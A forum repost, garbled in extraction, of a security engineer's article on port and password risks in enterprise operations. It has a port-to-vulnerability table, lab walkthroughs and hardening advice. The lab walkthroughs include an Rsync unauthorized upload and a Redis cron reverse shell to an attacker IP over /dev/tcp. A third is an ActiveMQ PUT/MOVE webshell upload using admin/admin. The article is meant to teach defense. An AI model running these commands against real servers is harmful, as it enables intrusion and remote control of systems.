搜索

[12485] 2018-03-19_混在运维部的安全员说“端口与口令安全”

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-03-19_混在运维部的安全员说“端口与口令安全” 混 在 运 维 部 的 安 全 员 说 “ 端 口 与 口 令 安 全 ” l i o n g 0 3   F r e e B u f   2 0 1 8 - 0 3 - 1 9 * 本 文 作 者 ： 本 文 作 者 ： l i o n g 0 3 ； 本 文 属 ； 本 文 属 F r e e B u f   原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 。 1 .   前 言 前 言 先 简 单 自 我 介 绍 一 下 ， 其 实 ， 我 是 一 个 安 全 工 程 师 。 现 就 职 于 某 互 联 网 金 融 企 业 负 责 公 司 整 体 网 络 安 全 。 先 简 单 自 我 介 绍 一 下 ， 其 实 ， 我 是 一 个 安 全 工 程 师 。 现 就 职 于 某 互 联 网 金 融 企 业 负 责 公 司 整 体 网 络 安 全 。 刚 到 公 司 时 首 先 是 了 解 一 些 企 业 规 则 和 规 则 制 定 者 ， 当 然 了 我 的 工 作 主 要 是 安 全 。 初 来 乍 到 ， 先 了 解 下 公 司 的 刚 到 公 司 时 首 先 是 了 解 一 些 企 业 规 则 和 规 则 制 定 者 ， 当 然 了 我 的 工 作 主 要 是 安 全 。 初 来 乍 到 ， 先 了 解 下 公 司 的 I T 资 产 ， 收 集 完 资 产 ， 收 集 完 I T 资 产 后 ， 做 一 个 资 产 后 ， 做 一 个 I P 资 产 开 放 端 口 的 梳 理 ， 端 口 信 息 的 收 集 这 是 一 个 很 重 要 的 过 程 ， 因 为 渗 透 资 产 开 放 端 口 的 梳 理 ， 端 口 信 息 的 收 集 这 是 一 个 很 重 要 的 过 程 ， 因 为 渗 透 实 战 中 对 端 口 的 渗 透 是 常 用 手 段 。 实 战 中 对 端 口 的 渗 透 是 常 用 手 段 。 端 口 收 集 过 程 中 关 注 几 个 问 题 ： 端 口 信 息 的 获 取 ， 最 为 常 见 的 应 该 就 是 n m a p （ 端 口 信 息 比 较 详 细 ） 、 御 剑 （ 只 显 示 开 放 的 端 口 ， 速 度 很 快 ） ， 也 可 以 结 合 其 他 的 主 机 漏 洞 扫 描 工 具 对 端 口 扫 描 ， 如 天 镜 、 极 光 、 n u s s e s 都 可 以 扫 描 端 口 和 一 些 漏 洞 。       1 .     常 见 应 用 的 默 认 端 口       2 .     端 口 的 b a n n e r 信 息       3 .     端 口 上 运 行 的 服 务       4 .     可 能 存 在 漏 洞
2 .   常 见 端 口 威 胁 常 见 端 口 威 胁 通 过 端 口 来 进 行 渗 透 会 很 大 提 升 渗 透 成 功 效 率 ， 在 工 作 中 发 现 运 维 人 员 开 放 了 很 多 端 口 ， 很 多 网 上 曝 过 的 漏 洞 可 以 找 到 ， 对 于 个 人 来 说 ， 这 是 个 学 习 、 实 践 的 机 会 ， 连 环 境 都 搭 好 了 ， 但 对 于 企 业 来 说 这 是 个 很 危 险 的 事 情 。 为 什 么 有 这 么 多 端 口 开 放 ， 甚 至 有 些 已 经 关 闭 了 的 端 口 过 段 时 间 又 会 重 新 开 启 。 还 有 些 端 口 要 求 去 整 改 ， 但 却 没 有 整 改 ， 这 里 面 有 很 多 因 素 ， 也 包 括 人 员 安 全 意 识 和 水 平 不 一 样 。 在 公 司 也 发 起 过 安 全 意 识 培 训 和 一 些 安 全 技 术 规 范 ， 但 人 员 流 动 ， 各 自 专 业 不 一 样 ， 关 注 点 不 一 样 。 甚 至 一 些 人 认 为 安 全 检 查 是 找 茬 的 ， 影 响 发 版 进 度 。 还 一 个 因 素 ， 运 维 部 的 安 全 员 在 执 行 安 全 管 理 时 大 部 分 情 况 是 从 下 往 上 推 ， 更 尴 尬 的 是 还 换 了 领 导 了 。 也 遇 到 过 帮 别 的 甲 方 企 业 发 现 漏 洞 ， 告 诉 了 封 端 口 、 打 补 丁 ， 可 是 运 维 人 员 没 有 去 整 改 ， 然 后 大 概 一 个 星 期 后 就 被 黑 客 入 侵 了 ， 再 花 一 笔 不 小 的 费 用 让 我 去 封 端 口 、 打 补 丁 。 一 入 甲 方 深 似 海 。 。 。 在 运 维 部 这 边 遇 到 安 全 问 题 大 部 分 是 跟 端 口 、 口 令 相 关 ， 开 发 部 那 边 的 情 况 另 说 。 这 里 例 举 了 一 些 常 见 的 端 口 及 可 能 存 在 的 安 全 问 题 ， 当 然 了 ， 端 口 还 是 要 结 合 服 务 来 看 。 这 里 的 端 口 也 并 不 全 ， 我 一 般 看 到 端 口 就 会 去 想 它 的 服 务 ， 去 百 度 查 可 能 有 哪 些 安 全 漏 洞 ， 大 部 分 是 从 C V E 、 C N V D 、 安 全 厂 商 公 证 号 、 各 大 安 全 论 坛 也 包 括 f r e e b u f 获 取 漏 洞 信 息 。 也 做 过 针 对 企 业 具 体 I P 的 端 口 、 服 务 、 软 件 版 本 的 资 产 服 务 列 表 ， 这 样 有 新 的 漏 洞 曝 出 来 ， 就 能 很 快 知 道 哪 些 服 务 器 可 能 有 安 全 风 险 。 序 号 序 号 类 型 类 型 端 口 端 口 软 件 软 件 / 服 务 名 称 服 务 名 称 可 能 存 在 的 漏 洞 可 能 存 在 的 漏 洞 / 利 用 方 式 利 用 方 式 1 中 间 件 6 3 7 9 R e d i s 1 ） 未 授 权 访 问 2 中 间 件 8 1 6 1 A p a c h e   G r o u p   A c t i v e M Q 1 ） 远 程 代 码 执 行 3 中 间 件 8 7 3 R s y n c 1 ） 远 程 代 码 执 行 4 中 间 件 9 0 0 1 S u p e r v i s o r 1 ） 远 程 命 令 执 行 漏 洞 。 5 中 间 件 4 8 9 9 R a d m i n 1 ） 密 码 爆 破 2 ） 远 程 命 令 执 行   | |   6   |   中 间 件   |   2 1 8 1   |   Z o o k e e p e r   |   1 ） 未 授 权 访 问   | |   7   |   中 间 件   |   1 1 2 1 1   |   m e m c a c h e d   |   1 ） 未 授 权 访 问   | |   8   |   中 间 件   |   2 3 7 5   |   D o c k e r   |   1 未 授 权 访 问   | |   9   |   中 间 件   |   7 0 0 1 / 7 0 0 2   |   w e b l o g i c   |   1 ） 密 码 爆 破 2 ） J a v a 反 序 列 化 漏 洞 3 ） 任 意 文 件 泄 漏   | |   1 0   |   中 间 件   |   8 0 8 0   |   R e s i n   |   1 ） 目 录 遍 历 2 ） 远 程 文 件 读 取   | |   1 1   |   中 间 件   |   8 0 8 0   |   G l a s s F i s h   |   1 ） 弱 口 令 2 ） 任 意 文 件 读 取
3 ） 认 证 绕 过   | |   1 2   |   中 间 件   |   9 9 9 0   |   j b o s s   |   1 ） 密 码 爆 破 2 ） 远 程 代 码 执 行 3 ） J a v a 反 序 列 化   | |   1 3   |   中 间 件   |   9 0 4 3   |   W e b s p h e r e   |   1 ） 密 码 爆 破 2 ） 任 意 文 件 泄 露 3 ） j a v a 反 序 列 化   | |   1 4   |   中 间 件   |   8 0 / 8 1 / 4 4 3   |   I I S   |   1 ） P U T 写 文 件 2 ） m s 1 5 0 3 4 3 ） h t t p . s y s 内 存 下 载 4 ） 解 析 漏 洞 5 ） 短 文 件 名 泄 漏   | |   1 5   |   中 间 件   |   8 0 / 8 0 8 0   |   A p a c h e   |   1 ） 解 析 漏 洞 2 ） 目 录 遍 历 3 ） 任 意 文 件 上 传 4 ） 密 码 爆 破   | |   1 6   |   中 间 件   |   8 0 / 8 0 8 0   |   T o m c a t   | |   1 7   |   中 间 件   |   8 0 / 8 0 8 0   |   N g i n x   |   1 ） 整 数 溢 出 2 ） 目 录 遍 历 下 载 3 ） 文 件 类 型 解 析 漏 洞   | |   1 8   |   中 间 件   |   8 0 8 0 / 8 0 8 9   |   J e n k i n s   |   1 ） 口 令 爆 破 2 ） 未 授 权 访 问 3 ） 反 序 列 化   | |   1 9   |   服 务 类   |   1 6 1   |   S N M P   |   1 ) 未 授 权 访 问   | |   2 0   |   服 务 类   |   4 4 3   |   H T T P S 服 务   |   1 ) S S L 心 脏 滴 血   | |   2 1   |   服 务 类   |   2 0 4 9   |   N F S   |   1 ) 未 授 权 访 问   | |   2 2   |   服 务 类   |   4 4 5   |   S a m b a - N e t B I O S 服 务   |   1 ） M S 1 7 - 0 1 0 漏 洞 2 ） M S 0 6 - 0 4 0 漏 洞 3 ） 病 毒 入 口   | |   2 3   |   服 务 类   |   1 3 5   |   R P C ( 远 程 过 程 调 用 ) 服 务   |   1 ） 利 用 R P C 漏 洞 攻 击 计 算 机 2 ） 病 毒 入 口   | |   2 4   |   服 务 类   |   1 3 9   |   S a m b a - 文 件 和 打 印 共 享   |   1 ） I P C $ 共 享 后 的 空 链 接 漏 洞 2 ） 病 毒 入 口   | |   2 5   |   服 务 类   |   1 3 7   |   S a m b a - N e t B I O S   名 字 服 务   |   1 ） 利 用 R P C 漏 洞 攻 击 计 算 机 2 ） 病 毒 入 口 3 ) 暴 力 破 解   | |   2 6   |   服 务 类   |   3 3 8 9   |   W i n d o w s 远 程 连 接   |   1 ） S h i f t 粘 滞 键 后 门 2 ） 密 码 爆 破 3 ) 利 用 m s 1 2 - 0 2 0 攻 击 3 3 8 9 端 口   | |   2 7   |   服 务 类   |   2 2   |   S S H   |   1 ) 密 码 爆 破 2 ) 防 火 墙 S S H 后 门 3 ) O p e n S S L 漏 洞   | |   2 8   |   服 务 类   |   2 3   |   t e l n e t   |   1 ) 使 用 明 文 传 输 技 术 - 嗅 探 2 ) 暴 力 破 解   | |   2 9   |   服 务 类   |   5 3   |   D N S   |   1 ) 远 程 溢 出 2 ) D N S 欺 骗 攻 击 3 ) 拒 绝 服 务 攻 击 4 ） D N S 域 传 送 信 息 泄 露
5 ） D N S 劫 持 6 ） D N S 缓 存 投 毒 7 ） D N S 隧 道 技 术 刺 穿 防 火 墙   | |   3 0   |   服 务 类   |   3 8 9   |   L D A P   |   1 ） 注 入 2 ） 未 授 权 访 问 3 ） 弱 密 码   | |   3 1   |   数 据 库   |   1 5 2 1   |   o r a c l e   |   1 ） 各 种 版 本 的 漏 洞 2 ） 密 码 爆 破 3 ） 远 程 溢 出   | |   3 2   |   数 据 库   |   1 4 3 3   |   S Q L S e r v e r   |   1 ） 各 种 版 本 的 漏 洞 2 ） 密 码 爆 破 3 ） 远 程 溢 出   | |   3 3   |   数 据 库   |   3 3 0 6   |   m y s q l   |   1 ） 各 种 版 本 的 漏 洞 2 ） 密 码 爆 破 3 ） 自 定 义 函 数   | |   3 4   |   其 他 软 件   |   5 6 3 1   |   s y m a n t e c p c a n y w h e r e   |   1 ) 各 种 版 本 的 漏 洞   | |   3 5   |   其 他 软 件   |   5 9 0 0 / 5 9 0 0 +   |   V N C   |   1 ） 密 码 验 证 绕 过 2 ） 拒 绝 服 务 攻 击 3 ） 权 限 提 升 4 ） 密 码 爆 破   | |   3 6   |   其 他 软 件   |   8 6 4 9   |   g a n g l i a   |   1 ） 未 授 权 访 问   | |   3 7   |   其 他 软 件   |   5 6 3 2   |   P c a n y w h e r e   |   1 ） 提 权 控 制 服 务 ： 2 ） 拒 绝 服 务 攻 击 ： 3 ） 代 码 执 行   | |   3 8   |   其 他 软 件   |   2 1   |   F T P   |   1 ） 远 程 溢 出 2 ） 暴 力 破 解 3 ） 匿 名 访 问 — 未 授 权 访 问 4 ） 配 置 不 当 ， 直 接   c d   /   & &   d i r 5 ） 使 用 明 文 传 输 技 术 - 嗅 探 6 ） 后 门 技 术 7 ） 跳 转 攻 击   | |   3 9   |   其 他 软 件   |   8 1   |   i p c a m   |   1 ） 暴 力 破 解 2 ） 可 以 基 于 N T P 的 反 射 和 放 大 攻 击 3 ） N T P 反 射 型 d o o s 攻 击   | 3 .   端 口 漏 洞 测 试 端 口 漏 洞 测 试 端 口 漏 洞 也 是 挺 多 的 ， 以 下 3 种 漏 洞 在 企 业 内 网 比 较 常 见 ， 在 外 网 一 般 都 是 做 了 毕 竟 严 端 口 控 制 ， 外 网 端 口 控 制 简 单 很 多 ， 不 像 内 网 架 构 那 么 复 杂 。 3 . 1   R s y n c 未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 3 . 1 . 1   漏 洞 信 息 漏 洞 信 息 漏 洞 名 称 ： 漏 洞 名 称 ： R s y n c 未 授 权 访 问 漏 洞 漏 洞 详 情 ： 漏 洞 详 情 ： R s y n c 因 配 置 不 当 ， 导 致 未 授 权 访 问 ， 可 未 授 权 上 传 、 下 载 服 务 器 文 件 。 R s y n c   是 一 个 通 过 检 查 文 件 的 时 间 戳 和 大 小 ， 来 跨 计 算 机 系 统 高 效 地 传 输 和 同 步 文 件 的 工 具 。 通 常 情 况 下 ， 管 理 程 序 在 启 动 R s y n c   服 务 后 ， 会 直 接 运 行 传 输 任 务 。 如 果   R s y n c   服 务 未 经 过 安 全 加 固 ， 出 现 未 授 权 访 问 等 安 全 问 题 ； 其 直 接
后 果 是 传 输 数 据 裸 露 在 网 络 中 ， 可 以 被 任 何 人 访 问 获 取 ， 带 来 严 重 的 数 据 泄 露 风 险 。 漏 洞 等 级 ： 漏 洞 等 级 ： 高 危 3 . 1 . 2   漏 洞 测 试 漏 洞 测 试 一 、 查 看 泄 露 文 件 r o o t @ k a l i : ~ #   r s y n c   1 9 2 . 1 6 8 . 3 . X X X : : r o o t @ k a l i : ~ #   r s y n c   1 9 2 . 1 6 8 . 3 . X X X : : r o u t i n g 查 看 r o u t i n g 目 录 二 、 下 载 文 件 下 载 r o u t i n g 目 录 中 M F P R D A P P _ 1 9 2 . 1 6 8 . 3 . x x x _ r e p o r t _ O S _ 2 0 1 8 - 0 1 - 1 4 - 0 1 : 0 5 : 0 1 . t x t 文 件 到 攻 击 电 脑 的 r o o t 目 录 ： 可 以 看 到 成 功 下 载 文 件 到 攻 击 电 脑 r o o t 目 录 了 ： 三 、 上 传 文 件 把 攻 击 电 脑 r o o t 目 录 中 y l r 1 8 0 1 1 9 . j s p 文 件 上 传 到 靶 机 服 务 器 r o u t i n g 目 录 : r o o t @ k a l i : ~ # r s y n c   - a v z   1 9 2 . 1 6 8 . 3 . x x x : : r o u t i n g / M F P R D A P P _ 1 9 2 . 1 6 8 . 3 . x x x _ r e p o r t _ O S _ 2 0 1 8 - 0 1 - 1 4 - 0 1 : 0 5 : 0 1 . t x t / r o o t r o o t @ k a l i : ~ #   r s y n c   - a v z   y l r 1 8 0 1 1 9 . j s p   1 9 2 . 1 6 8 . 3 . x x x : : r o u t i n g
登 录 1 9 2 . 1 6 8 . 3 . x x x 服 务 器 ， 看 到 y l r 1 8 0 1 1 9 . j s p 文 件 成 功 上 传 了 : 后 续 的 操 作 姿 势 看 个 人 喜 好 了 ， 这 里 只 是 验 证 这 个 漏 洞 可 以 被 利 用 入 侵 服 务 器 。 3 . 2   R e d i s 服 务 器 远 程 执 行 漏 洞 服 务 器 远 程 执 行 漏 洞 3 . 2 . 1   漏 洞 信 息 漏 洞 信 息 漏 洞 名 称 ： 漏 洞 名 称 ： R e d i s 服 务 器 远 程 执 行 漏 洞 利 用 原 理 ： 利 用 原 理 ： 主 要 是 通 过 无 密 码 登 录 r e d i s ， 然 后 往 r e d i s 缓 存 写 入 数 据 库 ， 再 通 过 r e d i s 缓 存 保 存 到 r e d i s 服 务 器 任 意 目 录 。 漏 洞 等 级 ： 漏 洞 等 级 ： 高 危 3 . 2 . 2   漏 洞 测 试 漏 洞 测 试 为 了 验 证 漏 洞 影 响 ， 搭 建 了 测 试 r e d i s 服 务 器 ， 进 行 漏 洞 攻 击 测 试 。 搭 建 测 试 环 境 ： 1 ) r e d i s 服 务 器 安 装 r e d i s _ v e r s i o n : 2 . 8 . 1 7 2 ) r e d i s 服 务 器 （ 靶 机 ） I P ： 1 9 2 . 1 6 8 . 2 0 . 1 0 5 3 ) 攻 击 电 脑 ， I P ： 1 9 2 . 1 6 8 . 2 0 . 1 0 2 测 试 过 程 （ 利 用 反 弹 s h e l l 控 制 服 务 器 ） ： 1 、 由 于 r e d i s 服 务 器 默 认 是 没 有 设 r e d i s 访 问 密 码 ， 攻 击 电 脑 可 直 接 向 r i d e s 服 务 器 缓 存 写 入 一 个 反 弹 s h e l l ， 每 分 钟 执 行 一 次 2 、 登 录 r e d i s 服 务 器 r e d i s 服 务 ， 进 行 备 份 / 创 建 一 个 / v a r / s p o o l / c r o n 目 录 r o o t 文 件 r o o t @ k a l i : ~ / r e d i s - 2 . 8 . 1 7 / s r c #   e c h o   - e   " n n * / 1   *   *   *   *   / b i n / b a s h   - i   > & / d e v / t c p / 1 9 2 . 1 6 8 . 2 0 . 1 0 2 / 8 8 8 0 > & 1 n n " | / r o o t / r e d i s - 2 . 8 . 1 7 / s r c / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 2 0 . 1 0 5   - p 6 3 7 9   - x   s e t   1
3 、 攻 击 电 脑 上 监 听 反 弹 s h e l l ， 成 功 连 接 了 r e d i s 服 务 器 ， 可 执 行 任 意 操 作 当 然 还 有 其 他 的 利 用 姿 势 ， 如 ： 1 ） 写 入 S S H 的 k e y ， 然 后 利 用 k e y 远 程 登 录 ； 2 ） 替 换 r e d i s 服 务 器 p a s s w d 文 件 ； 3 ） 写 入 网 马 （ 前 提 需 要 找 到 网 站 路 径 ） ； 3 . 3   A p a c h e A c t i v e M Q 远 程 代 码 执 行 漏 洞 远 程 代 码 执 行 漏 洞 3 . 3 . 1   漏 洞 信 息 漏 洞 信 息 漏 洞 名 称 ： 漏 洞 名 称 ： A p a c h e   A c t i v e M Q 远 程 代 码 执 行 漏 洞 利 用 原 理 ： 利 用 原 理 ： 主 要 是 通 过 破 解 账 号 密 码 登 录 A p a c h e   A c t i v e M Q ， 然 后 往 A p a c h e   A c t i v e M Q 目 录 写 入 数 据 库 ， 再 通 过 M O V E 保 存 数 据 到 服 务 器 任 意 目 录 。 漏 洞 等 级 ： 高 危 漏 洞 等 级 ： 高 危 3 . 3 . 2   漏 洞 测 试 漏 洞 测 试 一 、 上 传 小 马 首 先   P U T   一 个   j s p   的   W e b s h e l l   到   f i l e s e r v e r   目 录           r o o t @ k a l i : ~ / r e d i s - 2 . 8 . 1 7 / s r c #   . / r e d i s - c l i   - h   1 9 2 . 1 6 8 . 2 0 . 1 0 5   - p   6 3 7 9                 c o n f i g   s e t   d i r / v a r / s p o o l / c r o n               c o n f i g   s e t   d b f i l e n a m e   r o o t               s a v e
1 、 修 改 P U T   / f i l e s e r v e r / % 2 0 / % 2 0 为 P U T / f i l e s e r v e r / x i a o m a . j s p 2 、 在 下 方 空 白 处 填 写 小 马 内 容 3 、 访 问 h t t p : / / 1 9 2 . 1 6 8 . 2 0 . 1 0 1 : 8 1 6 1 / f i l e s e r v e r / x i a o m a . j s p ， 输 入 账 号 密 码 a d m i n / a d m i n 登 录 成 功 ， 看 到 小 马 上 传 成 功 二 、 移 动 小 马 到 t o m c a t 目 录 三 、 使 用 小 马 上 传 大 马 使 用 小 马 客 户 端 上 传 大 马 s h e l l . j s p M O V E / f i l e s e r v e r / x i a o m a . j s p   D e s t i n a t i o n : f i l e : / / / r o o t / a p a c h e - t o m c a t - 7 . 0 . 6 9 / w e b a p p s / R O O T / x i a o m a 2 . j s p
四 、 访 问 大 马 成 功 可 以 使 用 大 马 去 管 理 服 务 器 为 所 欲 为 … 为 所 欲 为 … 4 .   关 于 端 口 与 口 令 安 全 关 于 端 口 与 口 令 安 全 纵 观 端 口 与 口 令 安 全 威 胁 ， 很 多 情 况 是 因 为 默 认 配 置 有 着 诸 多 不 足 ， 而 运 维 同 学 为 了 简 单 ， 都 直 接 使 用 了 默 认 配 置 。 对 于 端 口 与 口 令 的 安 全 使 用 ， 建 议 可 以 参 考 如 下 措 施 ： 1 、 采 用 白 名 单 形 式 配 置 主 机 防 火 墙 / 网 络 防 火 墙 访 问 控 制 策 略 ， 设 置 仅 允 许 某 I P 访 问 服 务 某 端 口 。 2 、 关 闭 非 必 要 端 口 ， 尤 其 是 非 必 要 端 口 不 要 开 放 外 网 访 问 。 （ 很 多 木 马 工 具 也 有 特 定 的 端 口 ， 一 些 端 口 由 于 配 置 原 因 容 易 被 恶 意 人 员 利 用 。 ） 3 、 设 置 强 壮 口 令 ， 并 定 期 修 改 口 令 。 （ 密 码 爆 破 技 术 最 简 单 ， 往 往 采 用 字 典 和 社 工 结 合 能 进 行 最 大 效 果 的 爆 破 。 ） 4 、 尽 量 采 用 密 码 防 爆 破 ， 配 合 使 用 如 限 制 次 数 、 验 证 码 等 。 5 、 重 要 系 统 尽 量 使 用 双 因 子 验 证 。
6 、 不 要 以 明 文 方 式 传 输 账 号 密 码 。 7 、 远 程 运 维 尽 量 采 用 V P N 连 接 方 式 。 8 、 尽 量 以 非 管 理 员 用 户 运 行 服 务 程 序 。 9 、 及 时 升 级 版 本 、 打 补 丁 。 强 壮 口 令 强 壮 口 令 是 指 有 以 下 特 征 的 密 码 ： 1 )   同 时 具 备 大 写 和 小 写 字 符 ； 2 )   同 时 具 备 字 母 、 数 字 和 特 殊 符 号 ， 特 殊 符 号 例 如 ： ! @ # $ % ^ & * ( ) _ + | ~ - = ` { } [ ] : ” ; ’ < > ? , . / )   ； 3 )   8 个 字 符 或 者 以 上 ； 4 )   不 是 字 典 上 的 单 词 或 者 汉 语 拼 音 ； 5 )   不 基 于 个 人 信 息 、 名 字 和 家 庭 信 息 。 5 .   关 于 安 全 整 改 关 于 安 全 整 改 当 收 集 完 端 口 信 息 后 ， 我 发 现 很 多 问 题 ， 跟 运 维 人 员 、 开 发 人 员 聊 过 人 生 。 发 现 运 维 人 员 、 开 发 人 员 不 太 懂 安 全 ， 而 安 全 人 员 也 不 太 懂 运 维 和 开 发 ， 至 少 我 之 前 是 这 样 的 。 拿 端 口 和 弱 口 令 来 说 ， 对 于 安 全 人 员 来 说 ， 发 现 了 这 个 问 题 一 般 的 建 议 ： 改 口 令 、 关 端 口 ； 限 制 I P 访 问 ； 打 补 丁 / 升 级 版 本 ； 删 除 一 些 配 置 文 件 。 实 际 情 况 中 运 维 或 开 发 会 反 馈 ： 1 ） 口 令 更 改 会 涉 及 一 些 应 用 调 用 ， 需 要 同 时 改 好 几 个 地 方 的 配 置 ； 2 ） 有 其 他 系 统 需 要 调 用 这 些 端 口 ， 整 改 起 来 很 麻 烦 ； 3 ） l i n u x 防 火 墙 还 好 限 I P ， w i n d o w s 防 火 墙 有 不 少 坑 ， 网 络 防 火 墙 限 I P 可 能 要 改 好 几 个 防 火 墙 ， 而 且 防 火 墙 策 略 已 经 很 乱 ； 4 ） 一 些 补 丁 打 不 上 ， 版 本 不 能 升 不 了 级 ， 甚 至 不 能 升 级 和 打 补 丁 ； 5 ） 这 个 问 题 好 像 没 什 么 影 响 ， 我 慢 点 改 ， 最 后 可 能 不 了 了 之 ； 6 ） 有 没 有 更 简 单 的 方 法 ， 我 选 更 简 单 的 。 我 只 是 个 安 全 工 程 师 ， 招 入 职 我 的 领 导 升 上 去 了 ， 坚 强 的 后 盾 没 了 ， 还 好 这 么 多 年 的 工 作 经 验 在 运 维 和 开 发 都 懂 一 些 ， 安 全 工 作 也 还 是 要 继 续 ： 1 ） 把 整 改 的 方 法 一 一 分 析 ， 讨 论 可 行 性 ， 甚 至 还 把 一 些 操 作 步 骤 给 做 成 手 册 ， 甚 至 还 写 过 杀 毒 软 件 的 安 装 和 配 置 使 用 手 册 ； 2 ） 把 问 题 风 险 列 出 来 ， 甚 至 进 行 成 功 渗 透 ， 必 要 时 发 个 安 全 通 告 、 安 全 预 警 之 类 ， 主 要 是 要 引 起 对 问 题 的 重 视 ， 同 时 也 要 避 免 出 问 题 担 责 。 漏 洞 成 功 利 用 了 ， 整 改 操 作 手 册 也 有 了 ， 各 位 大 佬 同 意 整 改 了 ， 然 后 就 是 漏 洞 跟 踪 形 成 闭 环 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理